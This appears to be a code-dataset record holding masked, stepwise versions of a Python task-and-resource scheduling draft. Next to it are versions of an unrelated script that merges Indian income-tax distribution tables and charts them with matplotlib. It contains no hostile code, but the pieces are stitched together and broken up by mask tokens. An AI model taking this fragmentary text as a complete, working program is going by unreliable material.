"step-3": "<mask token>\n\n\nclass State(object):\n\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return self.name\n\n\nclass State_New(State):\n\n def __init__(self):\n super(State_New, self).__init__('New')\n\n\nclass State_Underway(State):\n\n def __init__(self):\n super(State_Underway, self).__init__('Underway')\n\n\nclass State_Paused(State):\n\n def __init__(self):\n super(State_Paused, self).__init__('Paused')\n\n\nclass State_Completed(State):\n\n def __init__(self):\n super(State_Completed, self).__init__('Completed')\n\n\nclass TaskMan(object):\n\n def __init__(self):\n self.tasks = []\n\n\nclass Resource(object):\n\n def __init__(self, name):\n self.name = name\n self.available_count = 0\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return 'Name: %s, weight: %s' % (self.name, self.available_count)\n\n\nclass ResourceGroup(object):\n\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return ', '.join([x.name for x in self.resources])\n\n\nclass ResourceManager(object):\n\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return '\\n'.join(r)\n\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n self.hard_assigned_resources = []\n self.auto_assigned_resources = []\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n\n def __str__(self):\n r = []\n if self.auto_assigned_resources:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.auto_assigned_resources)))\n else:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.resource_group)))\n return '\\n'.join(r)\n\n\n<mask token>\n",
"step-4": "<mask token>\n\n\nclass State(object):\n\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return self.name\n\n\nclass State_New(State):\n\n def __init__(self):\n super(State_New, self).__init__('New')\n\n\nclass State_Underway(State):\n\n def __init__(self):\n super(State_Underway, self).__init__('Underway')\n\n\nclass State_Paused(State):\n\n def __init__(self):\n super(State_Paused, self).__init__('Paused')\n\n\nclass State_Completed(State):\n\n def __init__(self):\n super(State_Completed, self).__init__('Completed')\n\n\nclass TaskMan(object):\n\n def __init__(self):\n self.tasks = []\n\n\nclass Resource(object):\n\n def __init__(self, name):\n self.name = name\n self.available_count = 0\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return 'Name: %s, weight: %s' % (self.name, self.available_count)\n\n\nclass ResourceGroup(object):\n\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return ', '.join([x.name for x in self.resources])\n\n\nclass ResourceManager(object):\n\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return '\\n'.join(r)\n\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n self.hard_assigned_resources = []\n self.auto_assigned_resources = []\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n\n def __str__(self):\n r = []\n if self.auto_assigned_resources:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.auto_assigned_resources)))\n else:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.resource_group)))\n return '\\n'.join(r)\n\n\ndef flatten(tasks):\n current_time = 0\n running = True\n while running:\n needs_assignment = False\n for t in tasks:\n avail_resources = t.avail(current_time, t.resource_group)\n if not needs_assignment:\n running = False\n\n\n<mask token>\n",
"step-5": "#!/usr/bin/env python3\n\nimport datetime, random\n\nclass State(object):\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return self.name\n\nclass State_New(State):\n def __init__(self):\n super(State_New, self).__init__(\"New\")\n\nclass State_Underway(State):\n def __init__(self):\n super(State_Underway, self).__init__(\"Underway\")\n\nclass State_Paused(State):\n def __init__(self):\n super(State_Paused, self).__init__(\"Paused\")\n\nclass State_Completed(State):\n def __init__(self):\n super(State_Completed, self).__init__(\"Completed\")\n\nclass TaskMan(object):\n def __init__(self):\n self.tasks = []\n\nclass Resource(object):\n def __init__(self, name):\n self.name = name\n\n # the available_count is how many tasks this resource is available for.\n self.available_count = 0\n\n # The assigned count is how many times this resource has been used.\n # For sorting, sort based on available+assigned, unless there are\n # multiple resources at the same value\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return \"Name: %s, weight: %s\" % (self.name, self.available_count)\n\nclass ResourceGroup(object):\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return \", \".join([x.name for x in self.resources])\n #return str(self.resources)\n\n\nclass ResourceManager(object):\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n \n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return \"\\n\".join(r)\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\t# work units applied so far\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n\n # hard assigned resources are those designated by the user, and are not\n # subject to change by the program.\n self.hard_assigned_resources = []\n\n # auto_assigned resources are those designated by the program and may be\n # changed at any time until the task has begun. Once the task has begun,\n # the resource becomes hard_assigned and must be changed manually if it\n # needs to be changed.\n self.auto_assigned_resources = []\n\n # A task may be waiting to start, underway, paused or completed.\n # Each state change could be accompanied by a comment. If a task is\n # paused because it is waiting for either another resource, the\n # completion of another task, or some 3rd party action, that should be\n # noted in a comment.\n\n # def assign(self):\n # self.resource_group.sort()\n # for x in range(self.numworkers):\n # self.auto_assigned_resources.append(self.resource_group.resources[x])\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n \n def __str__(self):\n r = []\n #r.append(\"Task: %s\" % self.name)\n #r.append(\" State: %s\" % self.state)\n #r.append(\" Hard Resources: %s\" % str(self.hard_assigned_resources))\n #r.append(\" Auto Resources: %s\" % str(self.auto_assigned_resources))\n #r.append(\" Resource Group: %s\" % str(self.resource_group))\n\n if self.auto_assigned_resources:\n r.append(\"%s%s %s\" % (self.start_offset*\" \", str(\"-\"*self.duration),\n str(self.auto_assigned_resources)))\n else:\n r.append(\"%s%s %s\" % (self.start_offset*\" \", str(\"-\"*self.duration),\n str(self.resource_group)))\n #str(datetime.timedelta(minutes=self.duration*15)))\n return \"\\n\".join(r)\n\ndef flatten(tasks):\n # Because resources may be shared across multiple projects, when flattening\n # you need to take that into account.\n # I think actually that flattening a set of projects simultaneously would\n # probably be a good thing. This would allow us to maximize the efficiency\n # of resource allocation.\n # This won't always be possible, some people will have outside committments\n # that cannot be shifted, and this needs to be taken into account when\n # assigning them.\n\n current_time = 0\n running = True\n\n while running:\n needs_assignment = False\n for t in tasks:\n avail_resources = t.avail(current_time, t.resource_group)\n\n if not needs_assignment:\n running = False\n\n\nif __name__ == '__main__':\n rm = ResourceManager()\n\n a = Resource(\"A\")\n b = Resource(\"B\")\n c = Resource(\"C\")\n d = Resource(\"D\")\n\n rm.add(a)\n rm.add(b)\n rm.add(c)\n rm.add(d)\n\n# numtasks = int(random.random()*20)\n numtasks = 20\n tasks = []\n\n for x in range(numtasks):\n fg = [a,b,c,d]\n random.shuffle(fg)\n #print(\"Fullgroup: %s\" % \", \".join([str(x) for x in fg]))\n group = fg[:int(random.random()*3)+1]\n duration = int(random.random()*32)+1\n #print(\"Group: %s\" % \", \".join([str(x) for x in group]))\n t = Task(\"Prepare Report\",duration=duration,\n resource_group = ResourceGroup(*group))\n tasks.append(t)\n\n\n for t in tasks:\n print(str(t))\n\n # -------------------\n # 1. Create a list of resources\n # 2. Create a list of tasks\n # 3. Create a resource group for each set of tasks\n # 4. Auto assign resources to tasks and level the tasks\n\n # So, first, go through all the tasks and weight each resource with how many\n # times they appear as available\n\n for t in tasks:\n for r in t.resource_group.resources:\n r.available_count += 1\n\n # -------------------\n # As we lay out tasks, we are at a \"current time\" point. Once all resources\n # are assigned for the current time point, we find the next nearest time\n # point when a resource becomes free - at the end of the shortest next task.\n # Then we begin looking at assignments again.\n #\n # So we start at CT=0, and go through each unassigned task.\n # When we get to an unassigned task, see if any of the resources assigned to\n # it are available at this time.\n # If so, take the set of available resources, sort in inverse\n # weight order, and choose the first.\n #\n # After every assignment, add one to the weight of the resource. The idea is\n # to bias the resource against being assigned again, until other less\n # assigned resources catch up. The only thing I would be afraid of would be\n # a resource who is available across many tasks not getting assigned to any\n # because his score is too high. Maybe it would be best to keep two tallys -\n # the number of available, and the number of assignments, and when sorting\n # in preference order, order first by (avail+assigned), and then within a\n # given group, order by assigned. This way, if someone has 7 availability\n # slots and 0 assigned slots, they will get chosen before someone with 5\n # availability slots and 2 assigned slots.\n\n flatten(tasks)\n\n print(str(rm))\n\n # If someone is working on something and they get blocked waiting for\n # something (another task or an outside supplier) then the task needs to be\n # marked as \"blocked/paused\" and the assigned tasks shuffled accordingly.\n # \n # So the idea is that on your smartphone, you can always bring up a \"What do\n # I do now\" display, which is sensitive to task priorities and stalls.\n # Another thing I'd really like to try to take into account as much as\n # possible is the fact that switching mental contexts between projects is an\n # uncomfortable and time consuming process, so we'd want to minimize that\n # as much as possible. Probably something like, try to switch projects no\n # more often than once every 2 hours (8 work blocks).\n\n",
"step-ids": [
25,
26,
30,
31,
34
]
}
|
[
25,
26,
30,
31,
34
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for year in range(BASE_YEAR, END_YEAR + 1):
filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'
df1 = pd.read_fwf(filename1)
df1.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df1.columns[1:] + '_avg_clp_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df1.columns = col_list
filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt'
df2 = pd.read_fwf(filename2)
df2.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df2.columns[1:] + '_total_clp_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df2.columns = col_list
a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket')
filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt'
df3 = pd.read_fwf(filename3)
df3.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df3.columns[1:] + '_avg_ref_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df3.columns = col_list
a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket')
filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt'
df4 = pd.read_fwf(filename4)
df4.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df4.columns[1:] + '_total_ref_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df4.columns = col_list
a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket')
<|reserved_special_token_0|>
for year in range(BASE_YEAR + 1, END_YEAR + 1):
df = pd.merge(df, a[year], how='inner', on='Income_Bracket')
df.set_index('Income_Bracket', inplace=True)
df.to_csv('dist-table-all-years.csv', index=True)
<|reserved_special_token_0|>
df.set_index('Income_Bracket', inplace=True)
<|reserved_special_token_0|>
plt.style.use('seaborn-whitegrid')
<|reserved_special_token_0|>
plt.title('Estimated Tax Collection')
plt.xlabel('Year')
plt.ylabel('Tax Collection in lakh Cr.')
<|reserved_special_token_0|>
plt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label
='Current Law', linewidth=2.0)
plt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r',
label='Reform', linewidth=2.0)
plt.legend(loc='best')
plt.savefig('Total_collection_PIT.png')
plt.show()
<|reserved_special_token_0|>
plt.rcdefaults()
<|reserved_special_token_0|>
ax.bar(x_pos, pitax_diff_list, color='green')
ax.set_xticks(x_pos)
ax.set_xticklabels(pitax_inc_brac_list)
ax.set_ylabel('Rupees')
ax.set_xlabel('Income Bracket')
ax.invert_yaxis()
ax.set_title('Change in Average Tax Burden Due to Reform in 2020')
plt.savefig('Average Tax Burden Change.png')
plt.show()
<|reserved_special_token_0|>
ax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,
autopct='%1.1f%%', shadow=False, startangle=90)
ax.axis('equal')
plt.suptitle('Contribution by Income Bracket to total PIT in 2020',
fontsize=16, fontweight='bold')
ax.set_title('Current Law', fontsize=16, fontweight='bold')
plt.savefig('Contribution to total PIT.png')
plt.show()
<|reserved_special_token_0|>
plt.suptitle('Contribution by Income Bracket to total PIT in 2020',
fontsize=16, fontweight='bold')
ax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,
autopct='%1.1f%%', shadow=False, startangle=90)
ax1.axis('equal')
ax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list,
autopct='%1.1f%%', shadow=False, startangle=90)
ax2.axis('equal')
ax1.set_title('Current Law', fontweight='bold')
ax2.set_title('Reform', fontweight='bold')
plt.savefig('Contribution to total PIT - Before and After Reform.png')
plt.show()
<|reserved_special_token_1|>
<|reserved_special_token_0|>
START_YEAR = 2017
END_YEAR = 2023
BASE_YEAR = 2019
year = START_YEAR
a = {}
for year in range(BASE_YEAR, END_YEAR + 1):
filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'
df1 = pd.read_fwf(filename1)
df1.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df1.columns[1:] + '_avg_clp_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df1.columns = col_list
filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt'
df2 = pd.read_fwf(filename2)
df2.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df2.columns[1:] + '_total_clp_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df2.columns = col_list
a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket')
filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt'
df3 = pd.read_fwf(filename3)
df3.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df3.columns[1:] + '_avg_ref_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df3.columns = col_list
a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket')
filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt'
df4 = pd.read_fwf(filename4)
df4.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df4.columns[1:] + '_total_ref_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df4.columns = col_list
a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket')
df = a[BASE_YEAR]
for year in range(BASE_YEAR + 1, END_YEAR + 1):
df = pd.merge(df, a[year], how='inner', on='Income_Bracket')
df.set_index('Income_Bracket', inplace=True)
df.to_csv('dist-table-all-years.csv', index=True)
df = pd.read_csv('dist-table-all-years.csv')
df.set_index('Income_Bracket', inplace=True)
df_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]
]
df_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]
]
clp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist()
clp_pitax_list = [float(i.replace(',', '')) for i in clp_pitax_list]
clp_pitax_list = [round(elem, 0) for elem in clp_pitax_list]
ref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist()
ref_pitax_list = [float(i.replace(',', '')) for i in ref_pitax_list]
ref_pitax_list = [round(elem, 0) for elem in ref_pitax_list]
years = [x[-4:] for x in list(df_pit_totals_clp.columns)]
plt.style.use('seaborn-whitegrid')
fig = plt.figure()
<|reserved_special_token_0|>
plt.title('Estimated Tax Collection')
plt.xlabel('Year')
plt.ylabel('Tax Collection in lakh Cr.')
<|reserved_special_token_0|>
plt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label
='Current Law', linewidth=2.0)
plt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r',
label='Reform', linewidth=2.0)
plt.legend(loc='best')
plt.savefig('Total_collection_PIT.png')
plt.show()
year = 2020
df_pitax_diff = df['pitax_diff_avg_ref_' + str(year)]
df_pitax_diff = df_pitax_diff[:-1]
df_pitax_diff = df_pitax_diff[2:]
df_pitax_diff = df_pitax_diff.reset_index()
pitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist()
pitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_' + str(year)].tolist()
pitax_diff_list = [float(i.replace(',', '')) for i in pitax_diff_list]
plt.rcdefaults()
fig, ax = plt.subplots(figsize=(8, 5))
x_pos = np.arange(len(pitax_inc_brac_list))
ax.bar(x_pos, pitax_diff_list, color='green')
ax.set_xticks(x_pos)
ax.set_xticklabels(pitax_inc_brac_list)
ax.set_ylabel('Rupees')
ax.set_xlabel('Income Bracket')
ax.invert_yaxis()
ax.set_title('Change in Average Tax Burden Due to Reform in 2020')
plt.savefig('Average Tax Burden Change.png')
plt.show()
year = 2020
df_pitax_tot_clp = df['pitax_total_clp_' + str(year)]
df_pitax_tot_clp = df_pitax_tot_clp[:-1]
df_pitax_tot_clp = df_pitax_tot_clp[2:]
df_pitax_tot_clp = df_pitax_tot_clp.reset_index()
pitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist()
pitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_' + str(year)].tolist()
pitax_tot_list_clp = [float(i.replace(',', '')) for i in pitax_tot_list_clp]
pitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp]
fig, ax = plt.subplots(figsize=(10, 10))
explode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0
ax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,
autopct='%1.1f%%', shadow=False, startangle=90)
ax.axis('equal')
plt.suptitle('Contribution by Income Bracket to total PIT in 2020',
fontsize=16, fontweight='bold')
ax.set_title('Current Law', fontsize=16, fontweight='bold')
plt.savefig('Contribution to total PIT.png')
plt.show()
year = 2020
df_pitax_tot = df['pitax_total_ref_' + str(year)]
df_pitax_tot = df_pitax_tot[:-1]
df_pitax_tot = df_pitax_tot[2:]
df_pitax_tot = df_pitax_tot.reset_index()
pitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist()
pitax_tot_list = df_pitax_tot['pitax_total_ref_' + str(year)].tolist()
pitax_tot_list = [float(i.replace(',', '')) for i in pitax_tot_list]
pitax_tot_list = [round(elem) for elem in pitax_tot_list]
fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5))
explode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0
plt.suptitle('Contribution by Income Bracket to total PIT in 2020',
fontsize=16, fontweight='bold')
ax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,
autopct='%1.1f%%', shadow=False, startangle=90)
ax1.axis('equal')
ax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list,
autopct='%1.1f%%', shadow=False, startangle=90)
ax2.axis('equal')
ax1.set_title('Current Law', fontweight='bold')
ax2.set_title('Reform', fontweight='bold')
plt.savefig('Contribution to total PIT - Before and After Reform.png')
plt.show()
<|reserved_special_token_1|>
<|reserved_special_token_0|>
import pandas as pd
from taxcalc import *
import numpy as np
from babel.numbers import format_currency
import matplotlib.pyplot as plt
from matplotlib.gridspec import GridSpec
START_YEAR = 2017
END_YEAR = 2023
BASE_YEAR = 2019
year = START_YEAR
a = {}
for year in range(BASE_YEAR, END_YEAR + 1):
filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'
df1 = pd.read_fwf(filename1)
df1.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df1.columns[1:] + '_avg_clp_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df1.columns = col_list
filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt'
df2 = pd.read_fwf(filename2)
df2.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df2.columns[1:] + '_total_clp_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df2.columns = col_list
a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket')
filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt'
df3 = pd.read_fwf(filename3)
df3.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df3.columns[1:] + '_avg_ref_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df3.columns = col_list
a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket')
filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt'
df4 = pd.read_fwf(filename4)
df4.drop('Unnamed: 0', axis=1, inplace=True)
col_list = df4.columns[1:] + '_total_ref_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df4.columns = col_list
a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket')
df = a[BASE_YEAR]
for year in range(BASE_YEAR + 1, END_YEAR + 1):
df = pd.merge(df, a[year], how='inner', on='Income_Bracket')
df.set_index('Income_Bracket', inplace=True)
df.to_csv('dist-table-all-years.csv', index=True)
df = pd.read_csv('dist-table-all-years.csv')
df.set_index('Income_Bracket', inplace=True)
df_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]
]
df_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]
]
clp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist()
clp_pitax_list = [float(i.replace(',', '')) for i in clp_pitax_list]
clp_pitax_list = [round(elem, 0) for elem in clp_pitax_list]
ref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist()
ref_pitax_list = [float(i.replace(',', '')) for i in ref_pitax_list]
ref_pitax_list = [round(elem, 0) for elem in ref_pitax_list]
years = [x[-4:] for x in list(df_pit_totals_clp.columns)]
plt.style.use('seaborn-whitegrid')
fig = plt.figure()
<|reserved_special_token_0|>
plt.title('Estimated Tax Collection')
plt.xlabel('Year')
plt.ylabel('Tax Collection in lakh Cr.')
<|reserved_special_token_0|>
plt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label
='Current Law', linewidth=2.0)
plt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r',
label='Reform', linewidth=2.0)
plt.legend(loc='best')
plt.savefig('Total_collection_PIT.png')
plt.show()
year = 2020
df_pitax_diff = df['pitax_diff_avg_ref_' + str(year)]
df_pitax_diff = df_pitax_diff[:-1]
df_pitax_diff = df_pitax_diff[2:]
df_pitax_diff = df_pitax_diff.reset_index()
pitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist()
pitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_' + str(year)].tolist()
pitax_diff_list = [float(i.replace(',', '')) for i in pitax_diff_list]
plt.rcdefaults()
fig, ax = plt.subplots(figsize=(8, 5))
x_pos = np.arange(len(pitax_inc_brac_list))
ax.bar(x_pos, pitax_diff_list, color='green')
ax.set_xticks(x_pos)
ax.set_xticklabels(pitax_inc_brac_list)
ax.set_ylabel('Rupees')
ax.set_xlabel('Income Bracket')
ax.invert_yaxis()
ax.set_title('Change in Average Tax Burden Due to Reform in 2020')
plt.savefig('Average Tax Burden Change.png')
plt.show()
year = 2020
df_pitax_tot_clp = df['pitax_total_clp_' + str(year)]
df_pitax_tot_clp = df_pitax_tot_clp[:-1]
df_pitax_tot_clp = df_pitax_tot_clp[2:]
df_pitax_tot_clp = df_pitax_tot_clp.reset_index()
pitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist()
pitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_' + str(year)].tolist()
pitax_tot_list_clp = [float(i.replace(',', '')) for i in pitax_tot_list_clp]
pitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp]
fig, ax = plt.subplots(figsize=(10, 10))
explode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0
ax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,
autopct='%1.1f%%', shadow=False, startangle=90)
ax.axis('equal')
plt.suptitle('Contribution by Income Bracket to total PIT in 2020',
fontsize=16, fontweight='bold')
ax.set_title('Current Law', fontsize=16, fontweight='bold')
plt.savefig('Contribution to total PIT.png')
plt.show()
year = 2020
df_pitax_tot = df['pitax_total_ref_' + str(year)]
df_pitax_tot = df_pitax_tot[:-1]
df_pitax_tot = df_pitax_tot[2:]
df_pitax_tot = df_pitax_tot.reset_index()
pitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist()
pitax_tot_list = df_pitax_tot['pitax_total_ref_' + str(year)].tolist()
pitax_tot_list = [float(i.replace(',', '')) for i in pitax_tot_list]
pitax_tot_list = [round(elem) for elem in pitax_tot_list]
fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5))
explode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0
plt.suptitle('Contribution by Income Bracket to total PIT in 2020',
fontsize=16, fontweight='bold')
ax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,
autopct='%1.1f%%', shadow=False, startangle=90)
ax1.axis('equal')
ax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list,
autopct='%1.1f%%', shadow=False, startangle=90)
ax2.axis('equal')
ax1.set_title('Current Law', fontweight='bold')
ax2.set_title('Reform', fontweight='bold')
plt.savefig('Contribution to total PIT - Before and After Reform.png')
plt.show()
<|reserved_special_token_1|>
"""
app_dist_Tables00.py illustrates use of pitaxcalc-demo release 2.0.0
(India version).
USAGE: python app_dist_Tables00.py
"""
import pandas as pd
from taxcalc import *
import numpy as np
from babel.numbers import format_currency
import matplotlib.pyplot as plt
from matplotlib.gridspec import GridSpec
# Generate Charts
# first merge the files
START_YEAR = 2017
END_YEAR = 2023
BASE_YEAR = 2019
year = START_YEAR
a={}
for year in range(BASE_YEAR, END_YEAR+1):
filename1='dist-table-all-clp-avg-'+str(year)+'.txt'
df1 = pd.read_fwf(filename1)
df1.drop('Unnamed: 0',axis=1,inplace=True)
col_list = df1.columns[1:] + '_avg_clp_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df1.columns = col_list
filename2='dist-table-all-clp-total-'+str(year)+'.txt'
df2 = pd.read_fwf(filename2)
df2.drop('Unnamed: 0',axis=1,inplace=True)
col_list = df2.columns[1:] + '_total_clp_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df2.columns = col_list
a[year] = pd.merge(df1, df2, how="inner", on="Income_Bracket")
filename3='dist-table-all-ref-avg-'+str(year)+'.txt'
df3 = pd.read_fwf(filename3)
df3.drop('Unnamed: 0',axis=1,inplace=True)
col_list = df3.columns[1:] + '_avg_ref_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df3.columns = col_list
a[year] = pd.merge(a[year], df3, how="inner", on="Income_Bracket")
filename4='dist-table-all-ref-total-'+str(year)+'.txt'
df4 = pd.read_fwf(filename4)
df4.drop('Unnamed: 0',axis=1,inplace=True)
col_list = df4.columns[1:] + '_total_ref_' + str(year)
col_list = col_list.insert(0, 'Income_Bracket')
df4.columns = col_list
a[year] = pd.merge(a[year], df4, how="inner", on="Income_Bracket")
df=a[BASE_YEAR]
for year in range(BASE_YEAR+1, END_YEAR+1):
df = pd.merge(df, a[year], how="inner", on="Income_Bracket")
df.set_index('Income_Bracket', inplace=True)
df.to_csv('dist-table-all-years.csv', index=True)
df = pd.read_csv('dist-table-all-years.csv')
df.set_index('Income_Bracket', inplace=True)
df_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]]
df_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]]
clp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist()
clp_pitax_list = [float(i.replace(',','')) for i in clp_pitax_list]
clp_pitax_list = [round(elem, 0) for elem in clp_pitax_list ]
ref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist()
ref_pitax_list = [float(i.replace(',','')) for i in ref_pitax_list]
ref_pitax_list = [round(elem, 0) for elem in ref_pitax_list ]
years = [x[-4:] for x in list(df_pit_totals_clp.columns)]
plt.style.use('seaborn-whitegrid')
fig = plt.figure()
"""
ax = plt.axes()
ax.plot(x, np.sin(x))
ax.set(xlim=(0, 10), ylim=(-2, 2),
xlabel='x', ylabel='sin(x)',
title='A Simple Plot')
"""
#plt.axis([2017, 2021, 150000, 400000])
plt.title("Estimated Tax Collection")
plt.xlabel("Year")
plt.ylabel("Tax Collection in lakh Cr.");
"""
print(year)
print(clp_pitax_list)
print(ref_pitax_list)
"""
